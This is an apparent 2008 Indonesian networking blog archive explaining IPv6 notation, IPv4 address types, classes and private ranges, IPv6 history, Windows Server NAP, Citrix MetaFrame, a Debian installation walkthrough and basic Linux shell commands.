0010000111011010000000001101001100000000000000000010111100111011000000101010101000000000
1111111111111110001010001001110001011010

Untuk menerjemahkannya ke dalam bentuk notasi colon-hexadecimal format, angka-angka biner di atas harus dibagi ke dalam 8 buah blok berukuran 16-bit:

0010000111011010 0000000011010011 0000000000000000 0010111100111011 0000001010101010
0000000011111111 1111111000101000 1001110001011010

Lalu, setiap blok berukuran 16-bit tersebut harus dikonversikan ke dalam bilangan heksadesimal dan setiap bilangan heksadesimal tersebut dipisahkan dengan menggunakan tanda titik dua. Hasil konversinya adalah sebagai berikut:

21DA:00D3:0000:2F3B:02AA:00FF:FE28:9C5A

Jenis-jenis Alamat pada IP versi 4

2008-10-29T14:24:00.002+07:00

Alamat IPv4 terbagi menjadi beberapa jenis, yakni sebagai berikut:

* Alamat Unicast, merupakan alamat IPv4 yang ditentukan untuk sebuah antarmuka jaringan yang dihubungkan ke sebuah internetwork IP. Alamat unicast digunakan dalam komunikasi point-to-point atau one-to-one.
* Alamat Broadcast, merupakan alamat IPv4 yang didesain agar diproses oleh setiap node IP dalam segmen jaringan yang sama. Alamat broadcast digunakan dalam komunikasi one-to-everyone.
* Alamat Multicast, merupakan alamat IPv4 yang didesain agar diproses oleh satu atau beberapa node dalam segmen jaringan yang sama atau berbeda. Alamat multicast digunakan dalam komunikasi one-to-many.

Alamat Unicast

Setiap antarmuka jaringan yang menggunakan protokol TCP/IP harus diidentifikasikan dengan menggunakan sebuah alamat logis yang unik, yang disebut dengan alamat unicast (unicast address). Alamat unicast disebut sebagai alamat logis karena alamat ini merupakan alamat yang diterapkan pada lapisan jaringan dalam DARPA Reference Model dan tidak memiliki relasi yang langsung dengan alamat yang digunakan pada lapisan antarmuka jaringan dalam DARPA Reference Model. Sebagai contoh, alamat unicast dapat ditetapkan ke sebuah host dengan antarmuka jaringan dengan teknologi Ethernet, yang memiliki alamat MAC sepanjang 48-bit.

Alamat unicast inilah yang harus digunakan oleh semua host TCP/IP agar dapat saling terhubung. Komponen alamat ini terbagi menjadi dua jenis, yakni alamat host (host identifier) dan alamat jaringan (network identifier).

Alamat unicast menggunakan kelas A, B, dan C dari kelas-kelas alamat IP yang telah disebutkan sebelumnya, sehingga ruang alamatnya adalah dari 1.x.y.z hingga 223.x.y.z. Sebuah alamat unicast dibedakan dengan alamat lainnya dengan mengunakan skema subnet mask.

Jenis-jenis alamat unicast

Jika ada sebuah intranet tidak yang terkoneksi ke Internet, semua alamat IP dalam ruangan kelas alamat unicast dapat digunakan. Jika koneksi dilakukan secara langsung (dengan menggunakan teknik routing) atau secara tidak langsung (dengan menggunakan proxy server), maka ada dua jenis alamat yang dapat digunakan di dalam Internet, yaitu public address (alamat publik) dan private address (alamat pribadi).

Alamat publik

alamat publik adalah alamat-alamat yang telah ditetapkan oleh InterNIC dan berisi beberapa buah network identifier yang telah dijamin unik (artinya, tidak ada dua host yang menggunakan alamat yang sama) jika intranet tersebut telah terhubung ke Internet.

Ketika beberapa alamat publik telah ditetapkan, maka beberapa rute dapat diprogram ke dalam sebuah router sehingga lalu lintas data yang menuju alamat publik tersebut dapat mencapai lokasinya. Di internet, lalu lintas ke sebuah alamat publik tujuan dapat dicapai, selama masih terkoneksi dengan internet.

Alamat ilegal

Intranet-intranet pribadi yang tidak memiliki kemauan untuk mengoneksikan intranetnya ke internet dapat memilih alamat apapun yang mereka mau, meskipun menggunakan alamat publik yang telah ditetapkan oleh InterNIC. Jika sebuah organisasi selanjutnya memutuskan untuk menghubungkan intranetnya ke internet, skema alamat yang digunakannya mungkin dapat mengandung alamat-alamat yang mungkin telah ditetapkan oleh InterNIC atau organisasi lainnya. Alamat-alamat tersebut dapat menjadi konflik antara satu dan lainnya, sehingga disebut juga dengan illegal address, yang tidak dapat dihubungi oleh host lainnya.

Alamat Privat

Setiap node IP membutuhkan sebuah alamat IP yang secara global unik terhadap internetwork IP. Pada kasus internet, setiap node di dalam sebuah jaringan yang terhubung ke internet akan membutuhkan sebuah alamat yang unik secara global terhadap internet. Karena perkembangan internet yang sangat amat pesat, organisasi-organisasi yang menghubungkan intranet miliknya ke internet membutuhkan sebuah alamat publik untuk setiap node di dalam intranet miliknya tersebut. Tentu saja, hal ini akan membutuhkan sebuah alamat publik yang unik secara global.

Ketika menganalisis kebutuhan pengalamatan yang dibutuhkan oleh sebuah organisasi, para desainer internet memiliki pemikiran yaitu bagi kebanyakan organisasi, kebanyakan host di dalam intranet organisasi tersebut tidak harus terhubung secara langsung ke internet. Host-host yang membutuhkan sekumpulan layanan internet, seperti halnya akses terhadap web atau e-mail, biasanya mengakses layanan internet tersebut melalui gateway yang berjalan di atas lapisan aplikasi seperti proxy server atau e-mail server. Hasilnya, kebanyakan organisasi hanya membutuhkan alamat publik dalam jumlah sedikit saja yang nantinya digunakan oleh node-node tersebut (hanya untuk proxy, router, firewall, atau translator alamat jaringan) yang terhubung secara langsung ke internet.

Untuk host-host di dalam sebuah organisasi yang tidak membutuhkan akses langsung ke internet, alamat-alamat IP yang bukan duplikat dari alamat publik yang telah ditetapkan mutlak dibutuhkan. Untuk mengatasi masalah pengalamatan ini, para desainer internet mereservasikan sebagian ruangan alamat IP dan menyebut bagian tersebut sebagai ruangan alamat pribadi. Sebuah alamat IP yang berada di dalam ruangan alamat pribadi tidak akan digunakan sebagai sebuah alamat publik. Alamat IP yang berada di dalam ruangan alamat pribadi dikenal juga dengan alamat pribadi atau Private Address. Karena di antara ruangan alamat publik dan ruangan alamat pribadi tidak saling melakukan overlapping, maka alamat pribadi tidak akan menduplikasi alamat publik, dan tidak pula sebaliknya. Sebuah jaringan yang menggunakan alamat IP privat disebut juga dengan jaringan privat atau private network.

Ruangan alamat pribadi yang ditentukan di dalam RFC 1918 didefinisikan di dalam tiga blok alamat berikut:

* 10.0.0.0/8
* 172.16.0.0/12
* 192.168.0.0/16

Sementara itu ada juga sebuah ruang alamat yang digunakan untuk alamat IP privat dalam beberapa sistem operasi:

* 169.254.0.0/16

10.0.0.0/8

Jaringan pribadi (private network) 10.0.0.0/8 merupakan sebuah network identifier kelas A yang mengizinkan alamat IP yang valid dari 10.0.0.1 hingga 10.255.255.254. Jaringan pribadi 10.0.0.0/8 memiliki 24 bit host yang dapat digunakan untuk skema subnetting di dalam sebuah organisasi privat.

172.16.0.0/12

Jaringan pribadi 172.16.0.0/12 dapat diinterpretasikan sebagai sebuah block dari 16 network identifier kelas B atau sebagai sebuah ruangan alamat yang memiliki 20 bit yang dapat ditetapkan sebagai host identifier, yang dapat digunakan dengan menggunakan skema subnetting di dalam sebuah organisasi privat. Alamat jaringan privat 17.16.0.0/12 mengizinkan alamat-alamat IP yang valid dari 172.16.0.1 hingga 172.31.255.254.

192.168.0.0/16

Jaringan pribadi 192.168.0.0/16 dapat diinterpretasikan sebagai sebuah block dari 256 network identifier kelas C atau sebagai sebuah ruangan alamat yang memiliki 16 bit yang dapat ditetapkan sebagai host identifier yang dapat digunakan dengan menggunakan skema subnetting apapun di dalam sebuah organisasi privat. Alamat jaringan privat 192.168.0.0/16 dapat mendukung alamat-alamat IP yang valid dari 192.168.0.1 hingga 192.168.255.254.

169.254.0.0/16

Alamat jaringan ini dapat digunakan sebagai alamat privat karena memang IANA mengalokasikan untuk tidak menggunakannya. Alamat IP yang mungkin dalam ruang alamat ini adalah 169.254.0.1 hingga 169.254.255.254, dengan alamat subnet mask 255.255.0.0. Alamat ini digunakan sebagai alamat IP privat otomatis (dalam Windows, disebut dengan Automatic Private Internet Protocol Addressing (APIPA)).

Hasil dari penggunaan alamat-alamat privat ini oleh banyak organisasi adalah menghindari kehabisan dari alamat publik, mengingat pertumbuhan internet yang sangat pesat.

Alamat Multicast

Alamat IP Multicast (Multicast IP Address) adalah alamat yang digunakan untuk menyampaikan satu paket kepada banyak penerima. Dalam sebuah intranet yang memiliki alamat multicast IPv4, sebuah paket yang ditujukan ke sebuah alamat multicast akan diteruskan oleh router ke subjaringan di mana terdapat host-host yang sedang berada dalam kondisi "listening" terhadap lalu lintas jaringan yang dikirimkan ke alamat multicast tersebut. Dengan cara ini, alamat multicast pun menjadi cara yang efisien untuk mengirimkan paket data dari satu sumber ke beberapa tujuan untuk beberapa jenis komunikasi. Alamat multicast didefinisikan dalam RFC 1112.

Alamat-alamat multicast IPv4 didefinisikan dalam ruang alamat kelas D, yakni 224.0.0.0/4, yang berkisar dari 224.0.0.0 hingga 239.255.255.255. Prefiks alamat 224.0.0.0/24 (dari alamat 224.0.0.0 hingga 224.0.0.255) tidak dapat digunakan karena dicadangkan untuk digunakan oleh lalu lintas multicast dalam subnet lokal.

Daftar alamat multicast yang ditetapkan oleh IANA dapat dilihat pada situs IANA.

Alamat Broadcast

Alamat broadcast untuk IP versi 4 digunakan untuk menyampaikan paket-paket data "satu-untuk-semua". Jika sebuah host pengirim yang hendak mengirimkan paket data dengan tujuan alamat broadcast, maka semua node yang terdapat di dalam segmen jaringan tersebut akan menerima paket tersebut dan memprosesnya. Berbeda dengan alamat IP unicast atau alamat IP multicast, alamat IP broadcast hanya dapat digunakan sebagai alamat tujuan saja, sehingga tidak dapat digunakan sebagai alamat sumber.

Ada empat buah jenis alamat IP broadcast, yakni network broadcast, subnet broadcast, all-subnets-directed broadcast, dan Limited Broadcast. Untuk setiap jenis alamat broadcast tersebut, paket IP broadcast akan dialamatkan kepada lapisan antarmuka jaringan dengan menggunakan alamat broadcast yang dimiliki oleh teknologi antarmuka jaringan yang digunakan. Sebagai contoh, untuk jaringan Ethernet dan Token Ring, semua paket broadcast IP akan dikirimkan ke alamat broadcast Ethernet dan Token Ring, yakni 0xFF-FF-FF-FF-FF-FF.

Network Broadcast

Alamat network broadcast IPv4 adalah alamat yang dibentuk dengan cara mengeset semua bit host menjadi 1 dalam sebuah alamat yang menggunakan kelas (classful). Contohnya adalah, dalam NetID 131.107.0.0/16, alamat broadcast-nya adalah 131.107.255.255. Alamat network broadcast digunakan untuk mengirimkan sebuah paket untuk semua host yang terdapat di dalam sebuah jaringan yang berbasis kelas. Router tidak dapat meneruskan paket-paket yang ditujukan dengan alamat network broadcast.

Subnet broadcast

Alamat subnet broadcast adalah alamat yang dibentuk dengan cara mengeset semua bit host menjadi 1 dalam sebuah alamat yang tidak menggunakan kelas (classless). Sebagai contoh, dalam NetID 131.107.26.0/24, alamat broadcast-nya adalah 131.107.26.255. Alamat subnet broadcast digunakan untuk mengirimkan paket ke semua host dalam sebuah jaringan yang telah dibagi dengan cara subnetting, atau supernetting. Router tidak dapat meneruskan paket-paket yang ditujukan dengan alamat subnet broadcast.

Alamat subnet broadcast tidak terdapat di dalam sebuah jaringan yang menggunakan kelas alamat IP, sementara itu, alamat network broadcast tidak terdapat di dalam sebuah jaringan yang tidak menggunakan kelas alamat IP.

All-subnets-directed broadcast

Alamat IP ini adalah alamat broadcast yang dibentuk dengan mengeset semua bit-bit network identifier yang asli yang berbasis kelas menjadi 1 untuk sebuah jaringan dengan alamat tak berkelas (classless). Sebuah paket jaringan yang dialamatkan ke alamat ini akan disampaikan ke semua host dalam semua subnet yang dibentuk dari network identifer yang berbasis kelas yang asli. Contoh untuk alamat ini adalah untuk sebuah network identifier 131.107.26.0/24, alamat all-subnets-directed broadcast untuknya adalah 131.107.255.255. Dengan kata lain, alamat ini adalah alamat jaringan broadcast dari network identifier alamat berbasis kelas yang asli. Dalam contoh di atas, alamat 131.107.26.0/24 yang merupakan alamat kelas B, yang secara default memiliki network identifer 16, maka alamatnya adalah 131.107.255.255.

Semua host dari sebuah jaringan dengan alamat tidak berkelas akan menengarkan dan memproses paket-paket yang dialamatkan ke alamat ini. RFC 922 mengharuskan router IP untuk meneruskan paket yang di-broadcast ke alamat ini ke semua subnet dalam jaringan berkelas yang asli. Meskipun demikian, hal ini belum banyak diimplementasikan.

Dengan banyaknya alamat network identifier yang tidak berkelas, maka alamat ini pun tidak relevan lagi dengan perkembangan jaringan. Menurut RFC 1812, penggunaan alamat jenis ini telah ditinggalkan.

[sunting] Limited broadcast

Alamat ini adalah alamat yang dibentuk dengan mengeset semua 32 bit alamat IP versi 4 menjadi 1 (11111111111111111111111111111111 atau 255.255.255.255). Alamat ini digunakan ketika sebuah node IP harus melakukan penyampaian data secara one-to-everyone di dalam sebuah jaringan lokal tetapi ia belum mengetahui network identifier-nya. Contoh penggunaanya adalah ketika proses konfigurasi alamat secara otomatis dengan menggunakan Boot Protocol (BOOTP) atau Dynamic Host Configuration Protocol (DHCP). Sebagai contoh, dengan DHCP, sebuah klien DHCP harus menggunakan alamat ini untuk semua lalu lintas yang dikirimkan hingga server DHCP memberikan sewaan alamat IP kepadanya.

Semua host, yang berbasis kelas atau tanpa kelas akan mendengarkan dan memproses paket jaringan yang dialamatkan ke alamat ini. Meskipun kelihatannya dengan menggunakan alamat ini, paket jaringan akan dikirimkan ke semua node di dalam semua jaringan, ternyata hal ini hanya terjadi di dalam jaringan lokal saja, dan tidak akan pernah diteruskan oleh router IP, mengingat paket data dibatasi saja hanya dalam segmen jaringan lokal saja. Karenanya, alamat ini disebut sebagai limited broadcast.

Tipe-tipe Pengkelasan pada Alamat IP

2008-10-29T14:20:00.003+07:00

Dalam RFC 791, alamat IP versi 4 dibagi ke dalam beberapa kelas, dilihat dari oktet pertamanya, seperti terlihat pada tabel. Sebenarnya yang menjadi pembeda kelas IP versi 4 adalah pola biner yang terdapat dalam oktet pertama (utamanya adalah bit-bit awal/high-order bit), tapi untuk lebih mudah mengingatnya, akan lebih cepat diingat dengan menggunakan representasi desimal.

Kelas A

Alamat-alamat kelas A diberikan untuk jaringan skala besar. Nomor urut bit tertinggi di dalam alamat IP kelas A selalu diset dengan nilai 0 (nol). Tujuh bit berikutnya—untuk melengkapi oktet pertama—akan membuat sebuah network identifier. 24 bit sisanya (atau tiga oktet terakhir) merepresentasikan host identifier. Ini mengizinkan kelas A memiliki hingga 126 jaringan, dan 16,777,214 host tiap jaringannya. Alamat dengan oktet awal 127 tidak diizinkan, karena digunakan untuk mekanisme Interprocess Communication (IPC) di dalam mesin yang bersangkutan.

Kelas B

Alamat-alamat kelas B dikhususkan untuk jaringan skala menengah hingga skala besar. Dua bit pertama di dalam oktet pertama alamat IP kelas B selalu diset ke bilangan biner 10. 14 bit berikutnya (untuk melengkapi dua oktet pertama), akan membuat sebuah network identifier. 16 bit sisanya (dua oktet terakhir) merepresentasikan host identifier. Kelas B dapat memiliki 16,384 network, dan 65,534 host untuk setiap network-nya.

Kelas C

Alamat IP kelas C digunakan untuk jaringan berskala kecil. Tiga bit pertama di dalam oktet pertama alamat kelas C selalu diset ke nilai biner 110. 21 bit selanjutnya (untuk melengkapi tiga oktet pertama) akan membentuk sebuah network identifier. 8 bit sisanya (sebagai oktet terakhir) akan merepresentasikan host identifier. Ini memungkinkan pembuatan total 2,097,152 buah network, dan 254 host untuk setiap network-nya.

Kelas D

Alamat IP kelas D disediakan hanya untuk alamat-alamat IP multicast, sehingga berbeda dengan tiga kelas di atas. Empat bit pertama di dalam IP kelas D selalu diset ke bilangan biner 1110. 28 bit sisanya digunakan sebagai alamat yang dapat digunakan untuk mengenali host. Untuk lebih jelas mengenal alamat ini, lihat pada bagian Alamat Multicast IPv4.

Kelas E

Alamat IP kelas E disediakan sebagai alamat yang bersifat "eksperimental" atau percobaan dan dicadangkan untuk digunakan pada masa depan. Empat bit pertama selalu diset kepada bilangan biner 1111. 28 bit sisanya digunakan sebagai alamat yang dapat digunakan untuk mengenali host.

Catatan: Penggunaan kelas alamat IP sekarang tidak relevan lagi, mengingat sekarang alamat IP sudah tidak menggunakan kelas alamat lagi. Pengemban otoritas Internet telah melihat dengan jelas bahwa alamat yang dibagi ke dalam kelas-kelas seperti di atas sudah tidak mencukupi kebutuhan yang ada saat ini, di saat penggunaan Internet yang semakin meluas. Alamat IPv6 yang baru sekarang tidak menggunakan kelas-kelas seperti alamat IPv4. Alamat yang dibuat tanpa mempedulikan kelas disebut juga dengan classless address.

Representasi Alamat IP

2008-10-29T13:59:00.001+07:00

Alamat IP versi 4 umumnya diekspresikan dalam notasi desimal bertitik (dotted-decimal notation), yang dibagi ke dalam empat buah oktet berukuran 8-bit. Dalam beberapa buku referensi, format bentuknya adalah w.x.y.z. Karena setiap oktet berukuran 8-bit, maka nilainya berkisar antara 0 hingga 255 (meskipun begitu, terdapat beberapa pengecualian nilai).

Alamat IP yang dimiliki oleh sebuah host dapat dibagi dengan menggunakan subnet mask jaringan ke dalam dua buah bagian, yakni:

* Network Identifier/NetID atau Network Address (alamat jaringan) yang digunakan khusus untuk mengidentifikasikan alamat jaringan di mana host berada.
Dalam banyak kasus, sebuah alamat network identifier adalah sama dengan segmen jaringan fisik dengan batasan yang dibuat dan didefinisikan oleh router IP. Meskipun demikian, ada beberapa kasus di mana beberapa jaringan logis terdapat di dalam sebuah segmen jaringan fisik yang sama dengan menggunakan sebuah praktek yang disebut sebagai multinetting. Semua sistem di dalam sebuah jaringan fisik yang sama harus memiliki alamat network identifier yang sama. Network identifier juga harus bersifat unik dalam sebuah internetwork. Jika semua node di dalam jaringan logis yang sama tidak dikonfigurasikan dengan menggunakan network identifier yang sama, maka terjadilah masalah yang disebut dengan routing error.
Alamat network identifier tidak boleh bernilai 0 atau 255.

* Host Identifier/HostID atau Host address (alamat host) yang digunakan khusus untuk mengidentifikasikan alamat host (dapat berupa workstation, server atau sistem lainnya yang berbasis teknologi TCP/IP) di dalam jaringan. Nilai host identifier tidak boleh bernilai 0 atau 255 dan harus bersifat unik di dalam network identifier/segmen jaringan di mana ia berada.

Sejarah Lahirnya IP versi 6

2008-10-29T13:35:00.001+07:00

Alamat IP versi 6 (sering disebut sebagai alamat IPv6) adalah sebuah jenis pengalamatan jaringan yang digunakan di dalam protokol jaringan TCP/IP yang menggunakan protokol IP versi 6. Panjang totalnya adalah 128-bit, dan secara teoritis dapat mengalamati hingga 2128=3,4 x 1038 host komputer di seluruh dunia. Contoh alamat IP versi 6 adalah 21DA:00D3:0000:2F3B:02AA:00FF:FE28:9C5A.

Pertumbuhan internet yang sangat cepat baik di segi pemakai internet di rumah, perkantoran, sekolah, instansi-instansi maupun perkembangan pesat perangkat telekomunikasi yang sudah mulai menggabungkan IP ke dalam teknologinya (convergence) di seluruh dunia telah menyebabkan alamat IPv4 dengan format 32 bit binary yang sudah digunakan sejak awal keberadaan internet, tidak bisa lagi menampung kebutuhan pengalamatan internet setelah jangka waktu 20 tahun kedepan atau bahkan lebih cepat dari itu.
Demikian hasil riset dan perhitungan para pakar dari komunitas terbuka internet (The Internet Engineering Task Force , IETF) menyebutkan.
Dengan hanya 32 bit format address hanya bisa menampung kebutuhan :
32
= 2 IPv4 Address
= 4,294,967,296 IPv4 Address

Bayangkan, penduduk dunia saat ini adalah 6,5 Milyard.
Jika nantinya masing2 punya satu komputer, 1 Lapotop (mobile), 1 PDA, 2 Handphone (GSM & CDMA).
Lalu setiap perangkat butuh 1 IP address untuk bisa connected each other.
Berapa jumlah IP yang dibutuhkan untuk taruhlah 3 Milyard penduduk dunia (bahkan dari 4 milyard IP versi 4 ini tidak keseluruhan bisa dipakai )?

Kekurangan alamat IPv4 ini tentu saja akan membuat perkembangan internet khususnya komunikasi data akan menjadi terganggu karena tidak ada lagi IPv4 yang bisa dialokasikan untuk setiap computer, perangkat lain yang akan terkoneksi baik ke internet maupun antar perangkat.

Langkah antisipasi awal sebenarnya sudah dilakukan dengan teknologi NAT (Network Address Translation) yang bekerja dengan cara melakukan penterjemahan satu alamat IPv4 public ke banyak IPv4 private.
Sehingga satu alamat IPv4 public bisa dipergunakan untuk banyak perangkat yang akan terkoneksi ke internet.

Teknologi ini sudah berkembang luas namun memiliki keterbatasan untuk interkoneksi antar jaringan yang cukup besar dan berbeda kebijakan pengalamatan, berikutnya kebutuhan gateway untuk penterjemahan alamat, serta keterbatasan pengembangan protocol internet terutama untuk aplikasi yang langsung terhubung satu sama lain (peer-to-peer) seperti Peer-to-Peer Games dan VoIP misalnya yang membutuhkan IPv4 public untuk bisa bekerja dengan baik.

Pada tahun 1992 IETF selaku komunitas terbuka internet membuka diskusi para pakar untuk mengatasi masalah ini dengan mencari format alamat IP generasi berikutnya setelah IPv4 (IPng, IP Next Generation) yang kemudian menghasilkan banyak RFC (request for comments) yakni dokumen stardard yang membahas protocol, program, prosedur serta konsep internet IPv6.
Setelah melalui pembahasan yang panjang, pada tahun 1995 ditetapkan melalui RFC2460 alamat IP versi 6 sebagai IP generasi berikutnya (IPng) pengganti IP versi 4.
IPv6 ini menggunakan format 128 bit binary sehingga bisa menampung kebutuhan :
128
= 2 IPv6 Address
= 340,282,366,920,938,463,463,374,607,431,768,211,456 IPv6 Address

Pengembangan IPv6 sampai saat ini sudah dilakukan oleh banyak pihak yang ada di seluruh dunia termasuk Service Provider, Internet Exchange Point, ISP regional, Militer serta Universitas.

Untuk Indonesia sendiri sudah dialokasikan 17 prefix IPv6 untuk berbagai organisasi,
mobile operator, IXP dan ISP. Dan berdasarkan data statistic dari badan pengembangan dan penyedia tunnel broker SixXS (www.sixxs.net) hingga saat ini yang aktif hanya 7 prefix dari 7 ISP (indo.net, Indosatnet serta CBN, pesatnet, NTT)

NAP Pada Win 2008 Server

2008-10-26T19:19:00.001+07:00

Windows Server 2008 adalah sekuel dari Windows Server series yang akan diluncurkan pada tahun 2008 nanti berbarengan dengan peluncuran Microsoft SQL server 2008 dan Microsoft Visual Studio 2008.

Pada Windows Server 2008 terdapat suatu feature yang menjadi salah satu tulang punggung proteksi keamanan dalam suatu sistem. Feature ini dikenal dengan nama Network Access Protection (NAP).

Network Access Protection adalah suatu platform keamanan terbaru dari Microsoft yang memungkinkan pengontrolan akses suatu resource di jaringan berdasarkan tingkat keamanan komputer klien yang mengakses resource tersebut.

Seperti yang kita ketahui, dalam sebuah jaringan besar terdapat banyak user yang mengakses suatu resource pada jaringan tersebut. Komputer user yang mengakses resource tersebut tidak dapat diprediksi tingkat keamanannya karena memiliki spesifikasi tingkat keamanan yang berbeda-beda antara satu dengan yang lainnya. Ini menjadi mimpi buruk bagi para administrator jaringan dalam hal keamanan. Skenario seperti komputer user yang terjangkit virus mengakses jaringan lalu menjangkiti komputer lainnya merupakan skenario yang sudah sering dijumpai para administrator. Untuk mencegah hal-hal seperti ini diperlukan suatu kebijakan penyeragaman tingkat keamanan bagi user. Di sinilah fungsi NAP bekerja.

Network Access Protection
NAP memungkinkan administrator jaringan menetapkan kebutuhan tingkat keamanan suatu komputer guna mendapatkan hak untuk mengakses jaringan. Tingkat keamanan atau yang disebut sebagai Health System ini memberikan rambu-rambu tingkat keamanan berdasarkan sejumlah faktor yang ada pada komputer klien. Faktor tersebut, meliputi update sistem operasi yang terpasang di komputer klien; antivirus beserta database antivirus yang terpasang; serta penggunaan firewall pada komputer klien. NAP dapat mengharuskan suatu komputer untuk menyesuaikan tingkat keamanan sistemnya sesuai dengan kebijakan keamanan yang telah didefinisikan sebelumnya. Kewajiban ini menjadi syarat untuk mengakses suatu jaringan.

Citrix Metaframe

2008-10-22T14:33:00.001+07:00

Windows XP bisa saja difungsikan sebagai Server, tapi kemampuanya terbatas (karena hanya bisa melayani 8-10 komputer lain), sehingga koneksi dari komputer ke-11 tidak akan dilayani.
Citrix metaframe akan berfungsi sebagai aplikasi yang akan membantu SO untuk mengijinkan komputer client terhubung keserver tergantung jumlah client yang ter-lisensi. Bisa 5 - 10 - 15 - 20 s/d 100.

Citrix bukan cloning OS, tetapi mengijinkan OS yang di server untuk di load sebagai OS Client beserta aplikasi yang terdapat didalamnya. Client bisa pake prosesor jenis apapun, tapi server harus memiliki prosesor yang lebih baik.

Windows server itu jadi multi user ketika terkoneksi dengan banyak client dan multi tasking ketika di install citrix metaframe agar OS dan Aplikasi bisa dipake user di komp client

Apa itu CitriX ?
Citrix MetaFrame Presentation Server yang berbasis server-based computing menjadi sangat populer karena mempermudah administrasi software aplikasi pemakai.Hal ini dimungkinkan karena instalasi software dan update hanya perlu dilakukan pada MetaFrame server saja. Demikian pula, karena semua aplikasi diproses pada server tersebut, maka hardware yang diperlukan oleh komputer pemakai tidak membutuhkan kinerja tinggi dan dapat menggunakan sistem operasi apa saja seperti Windows 98, NT, 2000, XP, MAC, atau Linux, sehingga murah biayanya.Pemahaman mendalam mengenai teknologi ini sangat bermanfaat untuk

meningkatkan karier Anda di bidang administrasi jaringan.Pembahasan dalam buku ini mencakup:Sejarah server-based computing Pengenalan Citrix MetaFrame Persyaratan dan perencanaan instalasi Citrix MetaFrame Administration dan Management Console Windows Server 2003 Mempublikasikan aplikasi Peralatan komputer pengguna.Dan masih banyak lagi pembahasan lainnya.

Cara Instalasi Linux Debian

2008-10-17T14:27:00.004+07:00

Berikut ini adalah langkah-langkah yang harus dilakukan pada saat proses instalasi Linux Dedian :

1. Booting dari CD

2. Pada menu inputan pilihan jenis linux, ketikkan linux26

3. Pilihan bahasa ——> american english

4. Pilihan negara ——> other–> asia –> indonesia

5. Pilihan keyboard —–> american english

6. Automatic detect hardware,network(dhcp)

7. Masukkan hostname

8. Masukkan domain name —> eepis-its.edu

9. Metode partisi —-> pakai entire disk

10. Skema partisi —-> all files in one partition

11. Finish partisi dan write changes to disk —–> pilih yes

12. Instaling debian base system

13. Install GRUB boot loader ——> pilih yes

14. Setelah instaling compled,ambil CD install —–> pilih continue

15. Komputer akan booting ulang

16. Anda akan lihat” Welcome to your new Debian System!”—à pilih OK

17. Konfigurasi waktu ——–> pilih no

18. Pilih asia/ Jakarta ( java & sumatra )

19. Konfigurasi password

root password

re-enter password

nama user / full name

nama user account

user password

re-enter password

20. Konfigurasi apt —–>

Masukkan CD DEBIAN dan pilih CDROM

CD-ROM device file —–>/dev/cdrom——>pilih OK

Tungggu beberapa saat

Muncul scan untuk CD Debian Yang lain ——–>pilih no

Muncul pilihan tentang informasi HTTP proxy ——–> kita kosongi —>OK

Pada waktu connect security.debian.org, kita CTRL-C untuk cancel

Muncul peringatan untuk access security —-> OK

21. Debian Software Debian Selection

Pilihan untuk memilih Paket yang akan diinstall (biarkan kosong) ——>ok

22. Selanjutnya pada anda akan diminta untuk mengkonfigurasi EXIM:

Configuring Exim v4 (exim4- Config) general typre of mail configuration

—>no configuration at this time —-> ok

Menu konfirmasi untuk Exim v4 —–>pilih yes

Menu untuk mempertanyakan tujuan mail (root and post mail recipent)

—>ketik sesuai dengan user—–>OK

Tunggu untuk reloding exim4 configuration files

23. Anda akan menemui menu Debian base System configuration (Thank you for choosing debian ) —>OK

24. Kemudian masuk pada login —> ketik root dan masukkan password untuk root

Selamat Mencoba...

Apa itu Linux Debian??

2008-10-17T14:19:00.003+07:00

Debian adalah sebuah keluaran Linux yang berpengaruh dan terkenal.

Debian menganut filosofi software gratis dan Unix, dan dia mempunya opsi yang sangat banyak, keluaran terakhirnya mencakup ribuan paket software untuk sebelas asitektur komputer, dari asitektur ARM yang umumnya di temukan pada sistem yang ditanamkan dan pada asitektur x86 untuk komputer rumahan yang modern. GNU/Linux Debian adalah basis distribusi lainya termasuk Knoppix, Linspire, MEPIS, Xandros, dan keluarga Ubuntu.

Debian juga terkenal dengan sistem manajemen paketnya(khususnya apt), dengan kebijakan yang tegas untuk pengeluaran paket dan kualitasnya. ini memudahkan kita untuk mengupgrade atau menginstall paket.

Debian pertamaka kali di umumkan pada tanggal 16 agustus 1993 oleh Ian Murdock, yang merupakan seorang murid di universitas Purdue dan murdock menamai systemnya ini dengan Linux Debian

Perintah Dasar Pada Linux Debian

2008-10-17T14:12:00.002+07:00

Perintah dasar yang sering digunakan dalam linux adalah sebagai berikut :

1. ls : melihat isi direktori yang aktif

contoh : debian:/# cd /root

debian:/root# ls –à menampilkan isi direktori root

2. cat : melihat isi file secara keseluruhan

contoh : debian:/# cat [nama_file]

3. more : menampilkan isi file per layer

contoh : debian:/#more [nama_file]

4. tail : menampilkan sepuluh baris terakhir

contoh: debian:/#tail [nama_file]

5. less : melihat isi file tetapi yang bisa discroll

contoh: debian:/#less [nama_file]

6. cp : mengkopi file

contoh: debian:/#cp file1 /home —-à mengkopi file1 dari root ke direktori home

7. mv : memindahkan file

contoh: debian:/#mv file1 /home

8. rm : menghapus file

contoh: debian:/#rm [nama_file]

9. mkdir : membuat direktori

contoh: debian:/#mkdir [nama_direktori]

10.rmdir : menghapus direktori

contoh: debian:/#rmdir [nama_direktori]

11.cd : pindah direktori

contoh: debian:/#cd root —à pindah ke direktori root

Download Linux Slackware

2008-10-16T20:46:00.002+07:00

Mendapatkan Slackware Linux

Slackware Linux dapat di-download secara bebas dari mirror Slackware Linux yang resmi. Daftar dari mirror Slackware Linux tersedia pada http://www.slackware.com/getslack/.

Anda juga bisa memesan Slackware Linux sebagai sebuah CD atau DVD dari Slackware Store. Banyak toko di Internet yang juga menawarkan Slackware Linux secara murah pada CD-ROM atau DVD, tetapi Anda akan membantu mendukung Slackware Linux secara finansial jika Anda memberli CD atau DVD set resmi Slackware Linux. Slackware Store juga menawarkan layanan Slackware Linux. Seorang pelanggan akan secara otomatis menerima rilis Slackware Linux yang baru dengan harga yang lebih murah.

Jika Anda hendak mendapatkan informasi lebih banyak tentang pembelian Slackware Linux, kunjungi situs Slackware Store pada http://store.slackware.com/.

Fitur Slackware Linux 12.0

2008-10-16T20:40:00.002+07:00

*Linux 2.6.21.5 - Slackware Linux menggunakan kernel Linux yang modern dan memiliki performa tinggi. Kernel menyertakan dukungan untuk semua kontroller disk modern, LVM, Perangkat Lunak RAID, disk terenkripsi, dan banyak prosessor/core. Secara default, udev diaktifkan untuk manajemen otomatis dari node perangkat.

